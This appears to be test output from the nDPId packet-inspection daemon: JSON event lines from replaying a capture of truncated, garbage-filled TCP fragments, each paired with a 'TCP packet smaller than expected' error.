-00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738627} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738634} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738641} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738649} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738656} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738664} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738670} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738677} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738688} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738699} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738707} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3241,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738715} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3242,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738728} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3243,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738740} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3244,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738752} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3245,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738767} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3246,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738779} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3247,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738790} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3248,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738802} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3249,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738816} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3250,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738828} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3251,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738843} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3252,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738857} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3253,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738869} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3254,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738881} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3255,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738893} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3256,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738904} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3257,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738916} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3258,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738931} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3259,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738943} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3260,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738962} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3261,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738974} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3262,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027738987} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":3263,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739002} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3264,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739013} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3265,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739030} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3266,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739043} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3267,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739055} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3268,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739067} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3269,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739079} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3270,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739091} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3271,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739107} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3272,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739123} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":3273,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244027737251,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3274,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244027739138} 